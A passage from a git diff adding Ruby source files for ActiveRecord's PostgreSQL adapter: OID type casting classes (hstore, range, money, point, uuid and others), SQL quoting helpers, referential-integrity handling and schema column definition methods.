+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb
new file mode 100644
index 0000000000..66e99d9404
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "ipaddr"
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Cidr < Type::Value # :nodoc:
+          def type
+            :cidr
+          end
+
+          def type_cast_for_schema(value)
+            subnet_mask = value.instance_variable_get(:@mask_addr)
+
+            # If the subnet mask is equal to /32, don't output it
+            if subnet_mask == (2**32 - 1)
+              "\"#{value}\""
+            else
+              "\"#{value}/#{subnet_mask.to_s(2).count('1')}\""
+            end
+          end
+
+          def serialize(value)
+            if IPAddr === value
+              "#{value}/#{value.instance_variable_get(:@mask_addr).to_s(2).count('1')}"
+            else
+              value
+            end
+          end
+
+          def cast_value(value)
+            if value.nil?
+              nil
+            elsif String === value
+              begin
+                IPAddr.new(value)
+              rescue ArgumentError
+                nil
+              end
+            else
+              value
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb
new file mode 100644
index 0000000000..cd667422f5
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class DateTime < Type::DateTime # :nodoc:
+          def cast_value(value)
+            case value
+            when "infinity" then ::Float::INFINITY
+            when "-infinity" then -::Float::INFINITY
+            when / BC$/
+              astronomical_year = format("%04d", -value[/^\d+/].to_i + 1)
+              super(value.sub(/ BC$/, "").sub(/^\d+/, astronomical_year))
+            else
+              super
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb
new file mode 100644
index 0000000000..879dba7afd
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Decimal < Type::Decimal # :nodoc:
+          def infinity(options = {})
+            BigDecimal.new("Infinity") * (options[:negative] ? -1 : 1)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb
new file mode 100644
index 0000000000..f70f09ad95
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Enum < Type::Value # :nodoc:
+          def type
+            :enum
+          end
+
+          private
+
+            def cast_value(value)
+              value.to_s
+            end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb
new file mode 100644
index 0000000000..aabe83b85d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Hstore < Type::Value # :nodoc:
+          include Type::Helpers::Mutable
+
+          def type
+            :hstore
+          end
+
+          def deserialize(value)
+            if value.is_a?(::String)
+              ::Hash[value.scan(HstorePair).map { |k, v|
+                v = v.upcase == "NULL" ? nil : v.gsub(/\A"(.*)"\Z/m, '\1').gsub(/\\(.)/, '\1')
+                k = k.gsub(/\A"(.*)"\Z/m, '\1').gsub(/\\(.)/, '\1')
+                [k, v]
+              }]
+            else
+              value
+            end
+          end
+
+          def serialize(value)
+            if value.is_a?(::Hash)
+              value.map { |k, v| "#{escape_hstore(k)}=>#{escape_hstore(v)}" }.join(", ")
+            elsif value.respond_to?(:to_unsafe_h)
+              serialize(value.to_unsafe_h)
+            else
+              value
+            end
+          end
+
+          def accessor
+            ActiveRecord::Store::StringKeyedHashAccessor
+          end
+
+          # Will compare the Hash equivalents of +raw_old_value+ and +new_value+.
+          # By comparing hashes, this avoids an edge case where the order of
+          # the keys change between the two hashes, and they would not be marked
+          # as equal.
+          def changed_in_place?(raw_old_value, new_value)
+            deserialize(raw_old_value) != new_value
+          end
+
+          private
+
+            HstorePair = begin
+              quoted_string = /"[^"\\]*(?:\\.[^"\\]*)*"/
+              unquoted_string = /(?:\\.|[^\s,])[^\s=,\\]*(?:\\.[^\s=,\\]*|=[^,>])*/
+              /(#{quoted_string}|#{unquoted_string})\s*=>\s*(#{quoted_string}|#{unquoted_string})/
+            end
+
+            def escape_hstore(value)
+              if value.nil?
+                "NULL"
+              else
+                if value == ""
+                  '""'
+                else
+                  '"%s"' % value.to_s.gsub(/(["\\])/, '\\\\\1')
+                end
+              end
+            end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb
new file mode 100644
index 0000000000..55be71fd26
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Inet < Cidr # :nodoc:
+          def type
+            :inet
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb
new file mode 100644
index 0000000000..e0216f1089
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Jsonb < Type::Json # :nodoc:
+          def type
+            :jsonb
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/legacy_point.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/legacy_point.rb
new file mode 100644
index 0000000000..7b057a8452
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/legacy_point.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class LegacyPoint < Type::Value # :nodoc:
+          include Type::Helpers::Mutable
+
+          def type
+            :point
+          end
+
+          def cast(value)
+            case value
+            when ::String
+              if value[0] == "(" && value[-1] == ")"
+                value = value[1...-1]
+              end
+              cast(value.split(","))
+            when ::Array
+              value.map { |v| Float(v) }
+            else
+              value
+            end
+          end
+
+          def serialize(value)
+            if value.is_a?(::Array)
+              "(#{number_for_point(value[0])},#{number_for_point(value[1])})"
+            else
+              super
+            end
+          end
+
+          private
+
+            def number_for_point(number)
+              number.to_s.gsub(/\.0$/, "")
+            end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
new file mode 100644
index 0000000000..6434377b57
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Money < Type::Decimal # :nodoc:
+          def type
+            :money
+          end
+
+          def scale
+            2
+          end
+
+          def cast_value(value)
+            return value unless ::String === value
+
+            # Because money output is formatted according to the locale, there are two
+            # cases to consider (note the decimal separators):
+            #  (1) $12,345,678.12
+            #  (2) $12.345.678,12
+            # Negative values are represented as follows:
+            #  (3) -$2.55
+            #  (4) ($2.55)
+
+            value = value.sub(/^\((.+)\)$/, '-\1') # (4)
+            case value
+            when /^-?\D+[\d,]+\.\d{2}$/  # (1)
+              value.gsub!(/[^-\d.]/, "")
+            when /^-?\D+[\d.]+,\d{2}$/  # (2)
+              value.gsub!(/[^-\d,]/, "").sub!(/,/, ".")
+            end
+
+            super(value)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/oid.rb
new file mode 100644
index 0000000000..d8c044320d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/oid.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Oid < Type::Integer # :nodoc:
+          def type
+            :oid
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb
new file mode 100644
index 0000000000..02a9c506f6
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  Point = Struct.new(:x, :y)
+
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Point < Type::Value # :nodoc:
+          include Type::Helpers::Mutable
+
+          def type
+            :point
+          end
+
+          def cast(value)
+            case value
+            when ::String
+              return if value.blank?
+
+              if value[0] == "(" && value[-1] == ")"
+                value = value[1...-1]
+              end
+              x, y = value.split(",")
+              build_point(x, y)
+            when ::Array
+              build_point(*value)
+            else
+              value
+            end
+          end
+
+          def serialize(value)
+            case value
+            when ActiveRecord::Point
+              "(#{number_for_point(value.x)},#{number_for_point(value.y)})"
+            when ::Array
+              serialize(build_point(*value))
+            else
+              super
+            end
+          end
+
+          def type_cast_for_schema(value)
+            if ActiveRecord::Point === value
+              [value.x, value.y]
+            else
+              super
+            end
+          end
+
+          private
+
+            def number_for_point(number)
+              number.to_s.gsub(/\.0$/, "")
+            end
+
+            def build_point(x, y)
+              ActiveRecord::Point.new(Float(x), Float(y))
+            end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb
new file mode 100644
index 0000000000..7d5d7d91e6
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Range < Type::Value # :nodoc:
+          attr_reader :subtype, :type
+          delegate :user_input_in_time_zone, to: :subtype
+
+          def initialize(subtype, type = :range)
+            @subtype = subtype
+            @type = type
+          end
+
+          def type_cast_for_schema(value)
+            value.inspect.gsub("Infinity", "::Float::INFINITY")
+          end
+
+          def cast_value(value)
+            return if value == "empty"
+            return value unless value.is_a?(::String)
+
+            extracted = extract_bounds(value)
+            from = type_cast_single extracted[:from]
+            to = type_cast_single extracted[:to]
+
+            if !infinity?(from) && extracted[:exclude_start]
+              raise ArgumentError, "The Ruby Range object does not support excluding the beginning of a Range. (unsupported value: '#{value}')"
+            end
+            ::Range.new(from, to, extracted[:exclude_end])
+          end
+
+          def serialize(value)
+            if value.is_a?(::Range)
+              from = type_cast_single_for_database(value.begin)
+              to = type_cast_single_for_database(value.end)
+              "[#{from},#{to}#{value.exclude_end? ? ')' : ']'}"
+            else
+              super
+            end
+          end
+
+          def ==(other)
+            other.is_a?(Range) &&
+              other.subtype == subtype &&
+              other.type == type
+          end
+
+          def map(value) # :nodoc:
+            new_begin = yield(value.begin)
+            new_end = yield(value.end)
+            ::Range.new(new_begin, new_end, value.exclude_end?)
+          end
+
+          private
+
+            def type_cast_single(value)
+              infinity?(value) ? value : @subtype.deserialize(value)
+            end
+
+            def type_cast_single_for_database(value)
+              infinity?(value) ? "" : @subtype.serialize(value)
+            end
+
+            def extract_bounds(value)
+              from, to = value[1..-2].split(",")
+              {
+                from:          (value[1] == "," || from == "-infinity") ? infinity(negative: true) : from,
+                to:            (value[-2] == "," || to == "infinity") ? infinity : to,
+                exclude_start: (value[0] == "("),
+                exclude_end:   (value[-1] == ")")
+              }
+            end
+
+            def infinity(negative: false)
+              if subtype.respond_to?(:infinity)
+                subtype.infinity(negative: negative)
+              elsif negative
+                -::Float::INFINITY
+              else
+                ::Float::INFINITY
+              end
+            end
+
+            def infinity?(value)
+              value.respond_to?(:infinite?) && value.infinite?
+            end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb
new file mode 100644
index 0000000000..4ad1344f05
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class SpecializedString < Type::String # :nodoc:
+          attr_reader :type
+
+          def initialize(type, **options)
+            @type = type
+            super(options)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb
new file mode 100644
index 0000000000..231278c184
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        # This class uses the data from PostgreSQL pg_type table to build
+        # the OID -> Type mapping.
+        #   - OID is an integer representing the type.
+        #   - Type is an OID::Type object.
+        # This class has side effects on the +store+ passed during initialization.
+        class TypeMapInitializer # :nodoc:
+          def initialize(store)
+            @store = store
+          end
+
+          def run(records)
+            nodes = records.reject { |row| @store.key? row["oid"].to_i }
+            mapped, nodes = nodes.partition { |row| @store.key? row["typname"] }
+            ranges, nodes = nodes.partition { |row| row["typtype"] == "r".freeze }
+            enums, nodes = nodes.partition { |row| row["typtype"] == "e".freeze }
+            domains, nodes = nodes.partition { |row| row["typtype"] == "d".freeze }
+            arrays, nodes = nodes.partition { |row| row["typinput"] == "array_in".freeze }
+            composites, nodes = nodes.partition { |row| row["typelem"].to_i != 0 }
+
+            mapped.each     { |row| register_mapped_type(row)    }
+            enums.each      { |row| register_enum_type(row)      }
+            domains.each    { |row| register_domain_type(row)    }
+            arrays.each     { |row| register_array_type(row)     }
+            ranges.each     { |row| register_range_type(row)     }
+            composites.each { |row| register_composite_type(row) }
+          end
+
+          def query_conditions_for_initial_load
+            known_type_names = @store.keys.map { |n| "'#{n}'" }
+            known_type_types = %w('r' 'e' 'd')
+            <<-SQL % [known_type_names.join(", "), known_type_types.join(", ")]
+              WHERE
+                t.typname IN (%s)
+                OR t.typtype IN (%s)
+                OR t.typinput = 'array_in(cstring,oid,integer)'::regprocedure
+                OR t.typelem != 0
+            SQL
+          end
+
+          private
+            def register_mapped_type(row)
+              alias_type row["oid"], row["typname"]
+            end
+
+            def register_enum_type(row)
+              register row["oid"], OID::Enum.new
+            end
+
+            def register_array_type(row)
+              register_with_subtype(row["oid"], row["typelem"].to_i) do |subtype|
+                OID::Array.new(subtype, row["typdelim"])
+              end
+            end
+
+            def register_range_type(row)
+              register_with_subtype(row["oid"], row["rngsubtype"].to_i) do |subtype|
+                OID::Range.new(subtype, row["typname"].to_sym)
+              end
+            end
+
+            def register_domain_type(row)
+              if base_type = @store.lookup(row["typbasetype"].to_i)
+                register row["oid"], base_type
+              else
+                warn "unknown base type (OID: #{row["typbasetype"]}) for domain #{row["typname"]}."
+              end
+            end
+
+            def register_composite_type(row)
+              if subtype = @store.lookup(row["typelem"].to_i)
+                register row["oid"], OID::Vector.new(row["typdelim"], subtype)
+              end
+            end
+
+            def register(oid, oid_type = nil, &block)
+              oid = assert_valid_registration(oid, oid_type || block)
+              if block_given?
+                @store.register_type(oid, &block)
+              else
+                @store.register_type(oid, oid_type)
+              end
+            end
+
+            def alias_type(oid, target)
+              oid = assert_valid_registration(oid, target)
+              @store.alias_type(oid, target)
+            end
+
+            def register_with_subtype(oid, target_oid)
+              if @store.key?(target_oid)
+                register(oid) do |_, *args|
+                  yield @store.lookup(target_oid, *args)
+                end
+              end
+            end
+
+            def assert_valid_registration(oid, oid_type)
+              raise ArgumentError, "can't register nil type for OID #{oid}" if oid_type.nil?
+              oid.to_i
+            end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb
new file mode 100644
index 0000000000..bc9b8dbfcf
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Uuid < Type::Value # :nodoc:
+          ACCEPTABLE_UUID = %r{\A(\{)?([a-fA-F0-9]{4}-?){8}(?(1)\}|)\z}
+
+          alias_method :serialize, :deserialize
+
+          def type
+            :uuid
+          end
+
+          def cast(value)
+            value.to_s[ACCEPTABLE_UUID, 0]
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb
new file mode 100644
index 0000000000..88ef626a16
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Vector < Type::Value # :nodoc:
+          attr_reader :delim, :subtype
+
+          # +delim+ corresponds to the `typdelim` column in the pg_types
+          # table.  +subtype+ is derived from the `typelem` column in the
+          # pg_types table.
+          def initialize(delim, subtype)
+            @delim   = delim
+            @subtype = subtype
+          end
+
+          # FIXME: this should probably split on +delim+ and use +subtype+
+          # to cast the values.  Unfortunately, the current Rails behavior
+          # is to just return the string.
+          def cast(value)
+            value
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb
new file mode 100644
index 0000000000..042f32fdc3
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Xml < Type::String # :nodoc:
+          def type
+            :xml
+          end
+
+          def serialize(value)
+            return unless value
+            Data.new(super)
+          end
+
+          class Data # :nodoc:
+            def initialize(value)
+              @value = value
+            end
+
+            def to_s
+              @value
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
new file mode 100644
index 0000000000..fc458d0c73
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
@@ -0,0 +1,152 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module Quoting
+        # Escapes binary strings for bytea input to the database.
+        def escape_bytea(value)
+          @connection.escape_bytea(value) if value
+        end
+
+        # Unescapes bytea output from a database to the binary string it represents.
+        # NOTE: This is NOT an inverse of escape_bytea! This is only to be used
+        # on escaped binary output from database drive.
+        def unescape_bytea(value)
+          @connection.unescape_bytea(value) if value
+        end
+
+        # Quotes strings for use in SQL input.
+        def quote_string(s) #:nodoc:
+          @connection.escape(s)
+        end
+
+        # Checks the following cases:
+        #
+        # - table_name
+        # - "table.name"
+        # - schema_name.table_name
+        # - schema_name."table.name"
+        # - "schema.name".table_name
+        # - "schema.name"."table.name"
+        def quote_table_name(name) # :nodoc:
+          @quoted_table_names[name] ||= Utils.extract_schema_qualified_name(name.to_s).quoted.freeze
+        end
+
+        # Quotes schema names for use in SQL queries.
+        def quote_schema_name(name)
+          PG::Connection.quote_ident(name)
+        end
+
+        def quote_table_name_for_assignment(table, attr)
+          quote_column_name(attr)
+        end
+
+        # Quotes column names for use in SQL queries.
+        def quote_column_name(name) # :nodoc:
+          @quoted_column_names[name] ||= PG::Connection.quote_ident(super).freeze
+        end
+
+        # Quote date/time values for use in SQL input.
+        def quoted_date(value) #:nodoc:
+          if value.year <= 0
+            bce_year = format("%04d", -value.year + 1)
+            super.sub(/^-?\d+/, bce_year) + " BC"
+          else
+            super
+          end
+        end
+
+        def quoted_binary(value) # :nodoc:
+          "'#{escape_bytea(value.to_s)}'"
+        end
+
+        def quote_default_expression(value, column) # :nodoc:
+          if value.is_a?(Proc)
+            value.call
+          elsif column.type == :uuid && /\(\)/.match?(value)
+            value # Does not quote function default values for UUID columns
+          elsif column.respond_to?(:array?)
+            value = type_cast_from_column(column, value)
+            quote(value)
+          else
+            super
+          end
+        end
+
+        def lookup_cast_type_from_column(column) # :nodoc:
+          type_map.lookup(column.oid, column.fmod, column.sql_type)
+        end
+
+        private
+          def lookup_cast_type(sql_type)
+            super(query_value("SELECT #{quote(sql_type)}::regtype::oid", "SCHEMA").to_i)
+          end
+
+          def _quote(value)
+            case value
+            when OID::Xml::Data
+              "xml '#{quote_string(value.to_s)}'"
+            when OID::Bit::Data
+              if value.binary?
+                "B'#{value}'"
+              elsif value.hex?
+                "X'#{value}'"
+              end
+            when Float
+              if value.infinite? || value.nan?
+                "'#{value}'"
+              else
+                super
+              end
+            when OID::Array::Data
+              _quote(encode_array(value))
+            else
+              super
+            end
+          end
+
+          def _type_cast(value)
+            case value
+            when Type::Binary::Data
+              # Return a bind param hash with format as binary.
+              # See https://deveiate.org/code/pg/PG/Connection.html#method-i-exec_prepared-doc
+              # for more information
+              { value: value.to_s, format: 1 }
+            when OID::Xml::Data, OID::Bit::Data
+              value.to_s
+            when OID::Array::Data
+              encode_array(value)
+            else
+              super
+            end
+          end
+
+          def encode_array(array_data)
+            encoder = array_data.encoder
+            values = type_cast_array(array_data.values)
+
+            result = encoder.encode(values)
+            if encoding = determine_encoding_of_strings_in_array(values)
+              result.force_encoding(encoding)
+            end
+            result
+          end
+
+          def determine_encoding_of_strings_in_array(value)
+            case value
+            when ::Array then determine_encoding_of_strings_in_array(value.first)
+            when ::String then value.encoding
+            end
+          end
+
+          def type_cast_array(values)
+            case values
+            when ::Array then values.map { |item| type_cast_array(item) }
+            else _type_cast(values)
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb b/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
new file mode 100644
index 0000000000..386d22a9bd
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module ReferentialIntegrity # :nodoc:
+        def supports_disable_referential_integrity? # :nodoc:
+          true
+        end
+
+        def disable_referential_integrity # :nodoc:
+          if supports_disable_referential_integrity?
+            original_exception = nil
+
+            begin
+              transaction(requires_new: true) do
+                execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER ALL" }.join(";"))
+              end
+            rescue ActiveRecord::ActiveRecordError => e
+              original_exception = e
+            end
+
+            begin
+              yield
+            rescue ActiveRecord::InvalidForeignKey => e
+              warn <<-WARNING
+WARNING: Rails was not able to disable referential integrity.
+
+This is most likely caused due to missing permissions.
+Rails needs superuser privileges to disable referential integrity.
+
+    cause: #{original_exception.try(:message)}
+
+              WARNING
+              raise e
+            end
+
+            begin
+              transaction(requires_new: true) do
+                execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER ALL" }.join(";"))
+              end
+            rescue ActiveRecord::ActiveRecordError
+            end
+          else
+            yield
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_creation.rb
new file mode 100644
index 0000000000..59f661da25
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_creation.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      class SchemaCreation < AbstractAdapter::SchemaCreation # :nodoc:
+        private
+          def add_column_options!(sql, options)
+            if options[:collation]
+              sql << " COLLATE \"#{options[:collation]}\""
+            end
+            super
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb
new file mode 100644
index 0000000000..f1489e4d69
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb
@@ -0,0 +1,195 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module ColumnMethods
+        # Defines the primary key field.
+        # Use of the native PostgreSQL UUID type is supported, and can be used
+        # by defining your tables as such:
+        #
+        #   create_table :stuffs, id: :uuid do |t|
+        #     t.string :content
+        #     t.timestamps
+        #   end
+        #
+        # By default, this will use the +gen_random_uuid()+ function from the
+        # +pgcrypto+ extension. As that extension is only available in
+        # PostgreSQL 9.4+, for earlier versions an explicit default can be set
+        # to use +uuid_generate_v4()+ from the +uuid-ossp+ extension instead:
+        #
+        #   create_table :stuffs, id: false do |t|
+        #     t.primary_key :id, :uuid, default: "uuid_generate_v4()"
+        #     t.uuid :foo_id
+        #     t.timestamps
+        #   end
+        #
+        # To enable the appropriate extension, which is a requirement, use
+        # the +enable_extension+ method in your migrations.
+        #
+        # To use a UUID primary key without any of the extensions, set the
+        # +:default+ option to +nil+:
+        #
+        #   create_table :stuffs, id: false do |t|
+        #     t.primary_key :id, :uuid, default: nil
+        #     t.uuid :foo_id
+        #     t.timestamps
+        #   end
+        #
+        # You may also pass a custom stored procedure that returns a UUID or use a
+        # different UUID generation function from another library.
+        #
+        # Note that setting the UUID primary key default value to +nil+ will
+        # require you to assure that you always provide a UUID value before saving
+        # a record (as primary keys cannot be +nil+). This might be done via the
+        # +SecureRandom.uuid+ method and a +before_save+ callback, for instance.
+        def primary_key(name, type = :primary_key, **options)
+          options[:auto_increment] = true if [:integer, :bigint].include?(type) && !options.key?(:default)
+          if type == :uuid
+            options[:default] = options.fetch(:default, "gen_random_uuid()")
+          elsif options.delete(:auto_increment) == true && %i(integer bigint).include?(type)
+            type = if type == :bigint || options[:limit] == 8
+              :bigserial
+            else
+              :serial
+            end
+          end
+
+          super
+        end
+
+        def bigserial(*args, **options)
+          args.each { |name| column(name, :bigserial, options) }
+        end
+
+        def bit(*args, **options)
+          args.each { |name| column(name, :bit, options) }
+        end
+
+        def bit_varying(*args, **options)
+          args.each { |name| column(name, :bit_varying, options) }
+        end
+
+        def cidr(*args, **options)
+          args.each { |name| column(name, :cidr, options) }
+        end
+
+        def citext(*args, **options)
+          args.each { |name| column(name, :citext, options) }
+        end
+
+        def daterange(*args, **options)
+          args.each { |name| column(name, :daterange, options) }
+        end
+
+        def hstore(*args, **options)
+          args.each { |name| column(name, :hstore, options) }
+        end
+
+        def inet(*args, **options)
+          args.each { |name| column(name, :inet, options) }
+        end
+
+        def interval(*args, **options)
+          args.each { |name| column(name, :interval, options) }
+        end
+
+        def int4range(*args, **options)
+          args.each { |name| column(name, :int4range, options) }
+        end
+
+        def int8range(*args, **options)
+          args.each { |name| column(name, :int8range, options) }
+        end
+
+        def json(*args, **options)
+          args.each { |name| column(name, :json, options) }
+        end
+
+        def jsonb(*args, **options)
+          args.each { |name| column(name, :jsonb, options) }
+        end
+
+        def ltree(*args, **options)
+          args.each { |name| column(name, :ltree, options) }
+        end
+
+        def macaddr(*args, **options)
+          args.each { |name| column(name, :macaddr, options) }
+        end
+
+        def money(*args, **options)
+          args.each { |name| column(name, :money, options) }
+        end
+
+        def numrange(*args, **options)
+          args.each { |name| column(name, :numrange, options) }
+        end
+
+        def oid(*args, **options)
+          args.each { |name| column(name, :oid, options) }
+        end
+
+        def point(*args, **options)
+          args.each { |name| column(name, :point, options) }
+        end
+
+        def line(*args, **options)
+          args.each { |name| column(name, :line, options) }
+        end
+
+        def lseg(*args, **options)
+          args.each { |name| column(name, :lseg, options) }
+        end
+
+        def box(*args, **options)
+          args.each { |name| column(name, :box, options) }
+        end
+
+        def path(*args, **options)
+          args.each { |name| column(name, :path, options) }
+        end
+
+        def polygon(*args, **options)
+          args.each { |name| column(name, :polygon, options) }
+        end
+
+        def circle(*args, **options)
+          args.each { |name| column(name, :circle, options) }
+        end
+
+        def serial(*args, **options)
+          args.each { |name| column(name, :serial, options) }
+        end
+
+        def tsrange(*args, **options)
+          args.each { |name| column(name, :tsrange, options) }
+        end
+
+        def tstzrange(*args, **options)
